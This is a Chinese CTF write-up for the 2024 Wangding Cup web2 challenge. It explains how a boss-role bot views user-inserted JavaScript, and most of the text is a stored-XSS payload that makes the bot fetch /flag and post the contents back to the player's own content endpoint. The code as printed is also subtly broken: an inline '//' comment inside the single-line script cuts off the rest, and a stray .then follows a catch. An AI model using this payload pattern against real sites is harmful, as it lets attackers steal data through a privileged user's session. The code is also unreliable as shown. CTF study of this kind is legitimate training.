2024网鼎杯青龙组初赛 web2

进入靶机之后是一个登录页面。随便登录就能进入

即使使用相同的账号密码，每次登录进去得到的接口也不一样

目录扫描可以发现存在一个/flag接口。但是需要boss身份才能读取到内容
登录进去后的页面有更新计划功能，允许我们将js代码插入当前页面中
同时将页面提交给boss的时候。boss会查看我们的内容

思路分析：
插入js代码，使js代码具有
自动读取/flag接口的内容 ==> 同时将读取到的内容利用我们自己的更新计划功能提交一遍的功能然后提交。

payload：

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>Content Display</title>
</head>
<body><div id="flag-content">Loading...</div><script>fetch('/flag').then(response => {if (!response.ok) {throw new Error('Network response was not ok');}return response.text(); // 获取响应文本}).then(data => {document.getElementById('flag-content').innerText = data;fetch('/content/917420be0d2e454937b1001cfad79b29', {method: 'POST',headers: {'Content-Type': 'application/x-www-form-urlencoded'},body: new URLSearchParams({ content: data })}).then(response => {if (!response.ok) {throw new Error('Network response was not ok');}return response.text();}).then(data => {document.getElementById('response').innerText = data;}).catch(error => {console.error('Error sending POST request:', error);document.getElementById('response').innerText = 'Error sending request.';});}).then(response => {if (!response.ok) {throw new Error('Network response was not ok for POST');}return response.text(); }).then(postResponse => {console.log('POST response:', postResponse);}).catch(error => {console.error('Error:', error);document.getElementById('flag-content').innerText = 'Error loading content';});</script>
</body>
</html>